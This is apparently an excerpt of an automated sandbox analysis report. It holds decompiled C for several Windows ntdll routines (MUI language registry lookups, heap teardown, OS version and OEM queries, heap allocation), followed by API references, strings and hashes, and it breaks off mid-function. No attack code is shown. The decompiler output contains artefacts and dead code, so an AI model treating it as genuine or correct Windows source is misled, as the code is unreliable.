										_t109 = 0xc0000034;
									} else {
										_t107 = _t105 + 1 >> 1;
										if(_a8 != _t92) {
											_t94 = _a12;
											if( *_t94 >= _t107) {
												_push(_t96);
												_t109 = E6A91F018(_v60,  &_v44,  &_v52, _a8,  &_v56);
												if(_t109 < 0) {
													goto L17;
												} else {
													if(_v56 == 7) {
														goto L16;
													} else {
														_t109 = 0xc0000034;
														goto L17;
													}
												}
												L29:
											} else {
												_t109 = 0xc0000023;
												L16:
												 *_t94 = _t107;
											}
											L17:
											_t92 = 0;
										} else {
											_t109 = _t92;
											 *_a12 = _t107;
										}
									}
								}
							}
						}
					}
				}
				_t61 = _v40;
				if(_t61 != 0) {
					if(_t61 != 0xffffffff) {
						 *0x6a8f6cc4(_t61);
					}
					_v40 = _t92;
				}
				if(_v52 != 0) {
					_push(_v52);
					E6A9595D0();
				}
				return _t109;
				goto L29;
			}

0x6a9ccf82
0x6a9ccf8c
0x6a9ccf91
0x6a9ccf96
0x6a9ccf9a
0x6a9ccf9e
0x6a9ccfa7
0x6a9ccfab
0x6a9ccfb9
0x6a9ccfe1
0x6a9ccfea
0x6a9ccff4
0x6a9ccff5
0x6a9ccffd
0x6a9ccffe
0x6a9cd007
0x6a9cd00b
0x6a9cd00c
0x6a9cd010
0x6a9cd018
0x6a9cd01c
0x6a9cd025
0x6a9cd029
0x6a9cd05d
0x6a9cd063
0x00000000
0x6a9cd069
0x6a9cd069
0x6a9cd06d
0x6a9cd07b
0x6a9cd080
0x6a9cd085
0x6a9cd089
0x00000000
0x6a9cd089
0x6a9cd02b
0x6a9cd035
0x6a9cd03a
0x6a9cd03b
0x6a9cd053
0x6a9cd057
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9cd057
0x6a9ccfbb
0x6a9ccfc1
0x6a9ccfca
0x6a9ccfd2
0x6a9cd08d
0x6a9cd091
0x6a9cd095
0x6a9cd09d
0x6a9cd09e
0x6a9cd0a7
0x6a9cd0af
0x6a9cd0b0
0x6a9cd0b4
0x6a9cd0bd
0x6a9cd0c1
0x6a9cd0cd
0x6a9cd0d2
0x6a9cd0d3
0x6a9cd0eb
0x6a9cd0ed
0x6a9cd0f4
0x6a9cd0f6
0x6a9cd0fc
0x6a9cd104
0x6a9cd18d
0x6a9cd10a
0x6a9cd10b
0x6a9cd110
0x6a9cd11b
0x6a9cd120
0x6a9cd15e
0x6a9cd179
0x6a9cd17d
0x00000000
0x6a9cd17f
0x6a9cd184
0x00000000
0x6a9cd186
0x6a9cd186
0x00000000
0x6a9cd186
0x6a9cd184
0x00000000
0x6a9cd122
0x6a9cd122
0x6a9cd127
0x6a9cd127
0x6a9cd127
0x6a9cd129
0x6a9cd129
0x6a9cd112
0x6a9cd115
0x6a9cd117
0x6a9cd117
0x6a9cd110
0x6a9cd104
0x6a9cd0fc
0x6a9cd0f4
0x6a9cd0c1
0x6a9ccfb9
0x6a9cd12b
0x6a9cd131
0x6a9cd136
0x6a9cd139
0x6a9cd139
0x6a9cd13f
0x6a9cd13f
0x6a9cd148
0x6a9cd14a
0x6a9cd14e
0x6a9cd14e
0x6a9cd15b
0x00000000

APIs

Part of subcall function 6A91F108: RtlOpenCurrentUser.1105(02000000,00000000,?,00000000,02000000,?,6A9CCFA7,?,?,?), ref: 6A91F12C

RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6A9CCFC1
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CCFE1
ZwOpenKey.1105(?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD020
RtlInitUnicodeString.1105(?,MachinePreferredUILanguages,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD035
ZwClose.1105(?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD06D
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD080
ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD0B8
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6A9CD0CD
ZwClose.1105(?,?,?,?), ref: 6A9CD139
ZwClose.1105(00000000,?,?,?), ref: 6A9CD14E

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 6A9CD072
Control Panel\Desktop, xrefs: 6A9CCFBB
Control Panel\Desktop\MuiCached, xrefs: 6A9CCFDB
@, xrefs: 6A9CD0A7
PreferredUILanguages, xrefs: 6A9CD0C3
MachinePreferredUILanguages, xrefs: 6A9CD02B
@, xrefs: 6A9CD010

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$CurrentUser
String ID: @$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 3208599939-2289709611
Opcode ID: dbb4b675e6fd693be7f700c1e3ee75c02add5db66a755b6f0a3580ae16838eec
Instruction ID: 00015e150f098f1ed41de2ad6f067a835152feeff4db926aa3fb82a2bd9ea80b
Opcode Fuzzy Hash: dbb4b675e6fd693be7f700c1e3ee75c02add5db66a755b6f0a3580ae16838eec
Instruction Fuzzy Hash: DF5160B1848706AFC311CF15C8C495BB7E8BF89358F510A2EF995A7211EB30DA09CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6A912FB0, Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6A912FB0(intOrPtr* _a4) {
				signed int _v8;
				void* _v36;
				void* _v62;
				void* _v68;
				void* _v72;
				signed int _v96;
				void* _v98;
				char _v100;
				void* _v104;
				void* _v108;
				void* _v112;
				void* _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t62;
				intOrPtr _t64;
				signed int* _t83;
				signed int _t84;
				signed int _t88;
				char* _t89;
				char _t93;
				void* _t99;
				signed int* _t102;
				intOrPtr _t103;
				void* _t104;
				signed int* _t107;
				signed int _t108;
				char* _t115;
				signed int _t118;
				signed int _t124;
				void* _t125;
				void* _t126;
				signed int _t127;
				intOrPtr* _t128;
				void* _t135;
				intOrPtr _t137;
				intOrPtr* _t159;
				void* _t160;
				void* _t162;
				intOrPtr* _t164;
				void* _t167;
				signed int* _t168;
				signed int* _t169;
				signed int _t172;
				signed int _t174;

				_t174 = (_t172 & 0xfffffff8) - 0x64;
				_v8 =  *0x6aa0d360 ^ _t174;
				_push(_t125);
				_t159 = _a4;
				if(_t159 == 0) {
					__eflags =  *0x6aa08748 - 2;
					if( *0x6aa08748 >= 2) {
						_t64 =  *[fs:0x30];
						__eflags =  *(_t64 + 0xc);
						if( *(_t64 + 0xc) == 0) {
							_push("HEAP: ");
							E6A91B150();
						} else {
							E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(HeapHandle != NULL)");
						E6A91B150();
						__eflags =  *0x6aa07bc8;
						if(__eflags == 0) {
							_t135 = 2;
							E6A9D2073(_t125, _t135, _t159, __eflags);
						}
					}
					L26:
					_t62 = 0;
					L27:
					_pop(_t160);
					_pop(_t162);
					_pop(_t126);
					return E6A95B640(_t62, _t126, _v8 ^ _t174, _t155, _t160, _t162);
				}
				if( *((intOrPtr*)(_t159 + 8)) == 0xddeeddee) {
					_t137 =  *[fs:0x30];
					__eflags = _t159 -  *((intOrPtr*)(_t137 + 0x18));
					if(_t159 ==  *((intOrPtr*)(_t137 + 0x18))) {
						L30:
						_t62 = _t159;
						goto L27;
					}
					_t138 =  *(_t159 + 0x20);
					__eflags =  *(_t159 + 0x20);
					if( *(_t159 + 0x20) != 0) {
						_t155 = _t159;
						E6A9BCB1E(_t138, _t159, 0, 8, 0);
					}
					E6A9131B0(_t125, _t159, _t155);
					E6A9D274F(_t159);
					_t155 = 1;
					E6A941249(_t159, 1, 0, 0);
					E6A9DB581(_t159);
					goto L26;
				}
				if(( *(_t159 + 0x44) & 0x01000000) != 0) {
					_t164 =  *0x6aa05718; // 0x0
					 *0x6aa0b1e0(_t159);
					_t62 =  *_t164();
					goto L27;
				}
				_t144 =  *((intOrPtr*)(_t159 + 0x58));
				if( *((intOrPtr*)(_t159 + 0x58)) != 0) {
					_t155 = _t159;
					E6A9BCB1E(_t144, _t159, 0, 8, 0);
				}
				E6A9131B0(_t125, _t159, _t155);
				if(( *(_t159 + 0x40) & 0x61000000) != 0) {
					__eflags =  *(_t159 + 0x40) & 0x10000000;
					if(( *(_t159 + 0x40) & 0x10000000) != 0) {
						goto L5;
					}
					_t124 = E6A9D3518(_t159);
					__eflags = _t124;
					if(_t124 == 0) {
						goto L30;
					}
					goto L5;
				} else {
					L5:
					if(_t159 ==  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
						goto L30;
					} else {
						_t155 = 1;
						E6A941249(_t159, 1, 0, 0);
						_t83 = _t159 + 0x9c;
						_t127 =  *_t83;
						while(_t83 != _t127) {
							_t84 = _t127;
							_t155 =  &_v96;
							_t127 =  *_t127;
							_v96 = _t84 & 0xffff0000;
							_v100 = 0;
							E6A94174B( &_v96,  &_v100, 0x8000);
							_t88 = E6A937D50();
							__eflags = _t88;
							if(_t88 == 0) {
								_t89 = 0x7ffe0388;
							} else {
								_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							}
							__eflags =  *_t89;
							if(__eflags != 0) {
								_t155 = _v96;
								E6A9CFE3F(_t159, _v96, _v100);
							}
							_t83 = _t159 + 0x9c;
						}
						if( *((char*)(_t159 + 0xda)) == 2) {
							_t93 =  *((intOrPtr*)(_t159 + 0xd4));
						} else {
							_t93 = 0;
						}
						if(_t93 != 0) {
							 *((intOrPtr*)(_t174 + 0x1c)) = _t93;
							_t155 = _t174 + 0x1c;
							 *((intOrPtr*)(_t174 + 0x1c)) = 0;
							E6A94174B(_t174 + 0x1c, _t174 + 0x1c, 0x8000);
						}
						_t128 = _t159 + 0x88;
						if( *_t128 != 0) {
							 *((intOrPtr*)(_t174 + 0x24)) = 0;
							_t155 = _t128;
							E6A94174B(_t128, _t174 + 0x24, 0x8000);
							 *_t128 = 0;
						}
						if(( *(_t159 + 0x40) & 0x00000001) == 0) {
							 *((intOrPtr*)(_t159 + 0xc8)) = 0;
						}
						goto L16;
						L16:
						_t167 =  *((intOrPtr*)(_t159 + 0xa8)) - 0x10;
						E6A913138(_t167);
						if(_t167 != _t159) {
							goto L16;
						} else {
							_t99 = E6A937D50();
							_t168 = 0x7ffe0380;
							if(_t99 != 0) {
								_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t102 = 0x7ffe0380;
							}
							if( *_t102 != 0) {
								_t103 =  *[fs:0x30];
								__eflags =  *(_t103 + 0x240) & 0x00000001;
								if(( *(_t103 + 0x240) & 0x00000001) != 0) {
									_t118 = E6A937D50();
									__eflags = _t118;
									if(_t118 != 0) {
										_t168 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags = _t168;
									}
									 *((short*)(_t174 + 0x2a)) = 0x1023;
									_push(_t174 + 0x24);
									_push(4);
									_push(0x402);
									_push( *_t168 & 0x000000ff);
									 *((intOrPtr*)(_t174 + 0x54)) = _t159;
									E6A959AE0();
								}
							}
							_t104 = E6A937D50();
							_t169 = 0x7ffe038a;
							if(_t104 != 0) {
								_t107 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t107 = 0x7ffe038a;
							}
							if( *_t107 != 0) {
								_t108 = E6A937D50();
								__eflags = _t108;
								if(_t108 != 0) {
									_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t169;
								}
								 *((short*)(_t174 + 0x4e)) = 0x1023;
								_push(_t174 + 0x48);
								_push(4);
								_push(0x402);
								_push( *_t169 & 0x000000ff);
								 *((intOrPtr*)(_t174 + 0x78)) = _t159;
								E6A959AE0();
							}
							if(E6A937D50() != 0) {
								_t115 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							} else {
								_t115 = 0x7ffe0388;
							}
							if( *_t115 != 0) {
								E6A9CFDD3(_t159);
							}
							goto L26;
						}
					}
				}
			}

0x6a912fb8
0x6a912fc2
0x6a912fc6
0x6a912fc9
0x6a912fce
0x6a96fb7d
0x6a96fb84
0x6a96fb8a
0x6a96fb90
0x6a96fb94
0x6a96fbb3
0x6a96fbb8
0x6a96fb96
0x6a96fbab
0x6a96fbb0
0x6a96fbbe
0x6a96fbc3
0x6a96fbc8
0x6a96fbd0
0x6a96fbd8
0x6a96fbd9
0x6a96fbd9
0x6a96fbd0
0x6a9130ea
0x6a9130ea
0x6a9130ec
0x6a9130f0
0x6a9130f1
0x6a9130f2
0x6a9130fd
0x6a9130fd
0x6a912fdb
0x6a96fbe3
0x6a96fbea
0x6a96fbed
0x6a91312b
0x6a91312b
0x00000000
0x6a91312b
0x6a96fbf3
0x6a96fbf8
0x6a96fbfa
0x6a96fc00
0x6a96fc02
0x6a96fc02
0x6a96fc09
0x6a96fc10
0x6a96fc1b
0x6a96fc1c
0x6a96fc23
0x00000000
0x6a96fc23
0x6a912fe8
0x6a96fc2d
0x6a96fc36
0x6a96fc3c
0x00000000
0x6a96fc3c
0x6a912fee
0x6a912ff5
0x6a96fc47
0x6a96fc49
0x6a96fc49
0x6a912ffd
0x6a913009
0x6a96fc53
0x6a96fc5a
0x00000000
0x00000000
0x6a96fc62
0x6a96fc67
0x6a96fc69
0x00000000
0x00000000
0x00000000
0x6a91300f
0x6a91300f
0x6a913018
0x00000000
0x6a91301e
0x6a913024
0x6a913025
0x6a91302a
0x6a913030
0x6a913032
0x6a96fc74
0x6a96fc76
0x6a96fc7a
0x6a96fc81
0x6a96fc8f
0x6a96fc93
0x6a96fc98
0x6a96fc9d
0x6a96fc9f
0x6a96fcb1
0x6a96fca1
0x6a96fcaa
0x6a96fcaa
0x6a96fcb6
0x6a96fcb9
0x6a96fcbf
0x6a96fcc5
0x6a96fcc5
0x6a96fcca
0x6a96fcca
0x6a913041
0x6a913100
0x6a913047
0x6a913047
0x6a913047
0x6a91304b
0x6a91310b
0x6a91310f
0x6a91311c
0x6a913121
0x6a913121
0x6a913051
0x6a913059
0x6a96fcde
0x6a96fce3
0x6a96fce5
0x6a96fcea
0x6a96fcea
0x6a913063
0x6a913075
0x6a913075
0x00000000
0x6a91307b
0x6a913081
0x6a913086
0x6a91308d
0x00000000
0x6a91308f
0x6a91308f
0x6a913094
0x6a9130a0
0x6a96fcfa
0x6a9130a6
0x6a9130a6
0x6a9130a6
0x6a9130ab
0x6a96fd01
0x6a96fd07
0x6a96fd0e
0x6a96fd14
0x6a96fd19
0x6a96fd1b
0x6a96fd26
0x6a96fd26
0x6a96fd26
0x6a96fd2f
0x6a96fd38
0x6a96fd39
0x6a96fd3b
0x6a96fd43
0x6a96fd44
0x6a96fd48
0x6a96fd48
0x6a96fd0e
0x6a9130b1
0x6a9130b6
0x6a9130c2
0x6a96fd5b
0x6a9130c8
0x6a9130c8
0x6a9130c8
0x6a9130cd
0x6a96fd62
0x6a96fd67
0x6a96fd69
0x6a96fd74
0x6a96fd74
0x6a96fd74
0x6a96fd7d
0x6a96fd86
0x6a96fd87
0x6a96fd89
0x6a96fd91
0x6a96fd92
0x6a96fd96
0x6a96fd96
0x6a9130da
0x6a96fda9
0x6a9130e0
0x6a9130e0
0x6a9130e0
0x6a9130e8
0x6a913131
0x6a913131
0x00000000
0x6a9130e8
0x6a91308d
0x6a913018

APIs

RtlDeleteCriticalSection.1105(?,00000000,00008000), ref: 6A913070
RtlGetCurrentServiceSessionId.1105(00000000,00008000), ref: 6A91308F
RtlGetCurrentServiceSessionId.1105 ref: 6A9130B1
RtlGetCurrentServiceSessionId.1105 ref: 6A9130D3
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A96FBAB
DbgPrint.1105((HeapHandle != NULL)), ref: 6A96FBC3
RtlDebugPrintTimes.1105(?), ref: 6A96FC36

Part of subcall function 6A9131B0: RtlAcquireSRWLockExclusive.1105(6AA08660,?,00000000,6A96FC0E), ref: 6A9131BC
Part of subcall function 6A9131B0: RtlReleaseSRWLockExclusive.1105(6AA08660,6AA08660,?,00000000,6A96FC0E), ref: 6A9131CF

Strings

HEAP: , xrefs: 6A96FBB3
(HeapHandle != NULL), xrefs: 6A96FBBE
HEAP[%wZ]: , xrefs: 6A96FBA6

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentPrintServiceSession$ExclusiveLock$AcquireCriticalDebugDeleteReleaseSectionTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1992993584-3610490719
Opcode ID: 1f21950008d7b15d0e5d880cd5e6dc9397e18c3ebe07b0e786e0e4d80c3570d6
Instruction ID: 035af295ae336e961f2e3052f05b20075b13a8d89fca9a1a537d898e4c3da5ac
Opcode Fuzzy Hash: 1f21950008d7b15d0e5d880cd5e6dc9397e18c3ebe07b0e786e0e4d80c3570d6
Instruction Fuzzy Hash: 9691F231308654AFE765CB38C898B2BB7F9BF45748F214469E9508B282DF34EC45C792

Uniqueness

Uniqueness Score: -1.00%

Function 6A9165A0, Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 157
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6A9165A0(intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v28;
				signed int _v300;
				intOrPtr _v304;
				signed int _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				void _v324;
				intOrPtr* _v328;
				void _v332;
				int _v336;
				void* _v340;
				char _v344;
				void* _v348;
				char _v352;
				char _v356;
				char _v360;
				char _v364;
				void* _v368;
				void* _v372;
				void* _v388;
				void* __ebx;
				void* __edi;
				void* __esi;
				void _t75;
				intOrPtr* _t110;
				void* _t111;
				signed int _t112;
				signed int _t118;
				void* _t132;
				void* _t135;
				intOrPtr* _t137;
				void* _t142;
				signed int _t143;
				signed int _t145;

				_t145 = (_t143 & 0xfffffff8) - 0x15c;
				_v8 =  *0x6aa0d360 ^ _t145;
				_t75 = _a4;
				_t124 = 0;
				_v332 = _t75;
				_t110 = _a12;
				_t137 = _a8;
				_v328 = _t137;
				if(_t75 != 0) {
					_push("true");
					_pop(_t112);
					_v340 = 0;
					_v336 = 0;
					memset( &_v324, 0, _t112 << 2);
					_t145 = _t145 + 0xc;
					_v344 = 0;
					_v348 = 0;
					_t132 = 0;
					RtlInitUnicodeString( &_v340, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion");
					_v332 = 0x18;
					_v324 =  &_v348;
					_v328 = 0;
					_push( &_v332);
					_push(0x20119);
					_v320 = 0x40;
					_push( &_v352);
					_v316 = 0;
					_v312 = 0;
					if(E6A959600() >= 0) {
						if(E6A9166D4(_v352, L"UBR",  &_v356) >= 0) {
							_t132 = _v356;
						}
						_push(_v352);
						E6A9595D0();
					}
					_v308 = 0x11c;
					E6A944020( &_v308);
					_t89 = _v344;
					asm("adc esi, edx");
					asm("adc esi, 0x0");
					 *_t89 = 0 + _v300 * 0x10000 + _t132;
					 *((intOrPtr*)(_t89 + 4)) = _v308 * 0x10000 + _v304;
					_t124 = 0;
					_t137 = _v340;
				}
				if(_t137 != 0) {
					_v348 = _t124;
					_v344 = _t124;
					_v356 = 3;
					RtlInitUnicodeString( &_v348, L"Kernel-OneCore-DeviceFamilyID");
					_push( &_v344);
					_push(4);
					_push( &_v364);
					_push( &_v348);
					_push( &_v356);
					E6A95A9B0();
					_t89 =  *((intOrPtr*)(_t145 + 0x10));
					 *_t137 =  *((intOrPtr*)(_t145 + 0x10));
				}
				if(_t110 != 0) {
					_t118 = 6;
					memset( &_v332, 0, _t118 << 2);
					_t145 = _t145 + 0xc;
					_v348 = 0;
					_v344 = 0;
					_v352 = 0;
					_v356 = 0;
					 *_t110 = 0;
					RtlInitUnicodeString( &_v348, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\OEM");
					_v340 = 0x18;
					_v332 =  &_v356;
					_push( &_v340);
					_push(0x20119);
					_v336 = 0;
					_push( &_v360);
					_v328 = 0x40;
					_v324 = 0;
					_v320 = 0;
					if(E6A959600() >= 0) {
						_t124 = L"DeviceForm";
						if(E6A9166D4(_v360, L"DeviceForm",  &_v364) >= 0) {
							 *_t110 = _v364;
						}
						_push(_v360);
						_t89 = E6A9595D0();
					}
				}
				_pop(_t135);
				_pop(_t142);
				_pop(_t111);
				return E6A95B640(_t89, _t111,  *(_t145 + 0x164) ^ _t145, _t124, _t135, _t142);
			}

0x6a9165a8
0x6a9165b5
0x6a9165bc
0x6a9165bf
0x6a9165c1
0x6a9165c6
0x6a9165ca
0x6a9165cd
0x6a9165d4
0x6a9719a6
0x6a9719a8
0x6a9719ab
0x6a9719b3
0x6a9719b7
0x6a9719b7
0x6a9719c2
0x6a9719c7
0x6a9719cb
0x6a9719cd
0x6a9719d6
0x6a9719de
0x6a9719e8
0x6a9719ec
0x6a9719ed
0x6a9719f6
0x6a9719fe
0x6a9719ff
0x6a971a03
0x6a971a0e
0x6a971a25
0x6a971a27
0x6a971a27
0x6a971a2b
0x6a971a2f
0x6a971a2f
0x6a971a38
0x6a971a41
0x6a971a66
0x6a971a6a
0x6a971a6e
0x6a971a71
0x6a971a73
0x6a971a76
0x6a971a78
0x6a971a78
0x6a9165dc
0x6a9165e7
0x6a9165ec
0x6a9165f0
0x6a9165f8
0x6a916601
0x6a916602
0x6a916608
0x6a91660d
0x6a916612
0x6a916613
0x6a916618
0x6a91661c
0x6a91661c
0x6a916620
0x6a91663b
0x6a916644
0x6a916644
0x6a91664f
0x6a916654
0x6a916658
0x6a91665c
0x6a916660
0x6a916662
0x6a91666b
0x6a916673
0x6a91667b
0x6a91667c
0x6a916685
0x6a916689
0x6a91668a
0x6a916692
0x6a916696
0x6a9166a1
0x6a9166b0
0x6a9166bc
0x6a9166d0
0x6a9166d0
0x6a9166be
0x6a9166c2
0x6a9166c2
0x6a9166a1
0x6a916629
0x6a91662a
0x6a91662b
0x6a916636

APIs

RtlInitUnicodeString.1105 ref: 6A9165F8
ZwQueryLicenseValue.1105(?,?,00000003,00000004,?), ref: 6A916613
RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM), ref: 6A916662
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6A9166C2
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6A91669A

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A9719CD
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6A971A07
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6A971A2F
RtlGetVersion.1105(?,?,?,?,?,00020119,00000018), ref: 6A971A41

Strings

@, xrefs: 6A9719F6
@, xrefs: 6A91668A
UBR, xrefs: 6A971A19
DeviceForm, xrefs: 6A9166B0
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion, xrefs: 6A9719B9
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM, xrefs: 6A916646
Kernel-OneCore-DeviceFamilyID, xrefs: 6A9165DE

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$InitializeLicenseQueryThunkValueVersion
String ID: @$@$DeviceForm$Kernel-OneCore-DeviceFamilyID$UBR$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM
API String ID: 2689724482-2811273990
Opcode ID: 4563789cc35d76a152b113ce18b9fa57b359cd568d8b6628deaec252ebcec1cf
Instruction ID: 0bd4df67ef0d26ed64982380537fb133c4bc3da6b6ed884a5382946254cb562b
Opcode Fuzzy Hash: 4563789cc35d76a152b113ce18b9fa57b359cd568d8b6628deaec252ebcec1cf
Instruction Fuzzy Hash: 2A513BB15083159FD714CF14C880A4BBBE9BFC8754F51492EFA98D7251EB30DA09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6A93A229, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 183
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6A93A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E6A93DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E6A959730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E6A9DA80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E6A959660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E6A91B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E6A937D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E6A9D138A(_t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E6A937D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E6A937D50();
						if(__eflags != 0) {
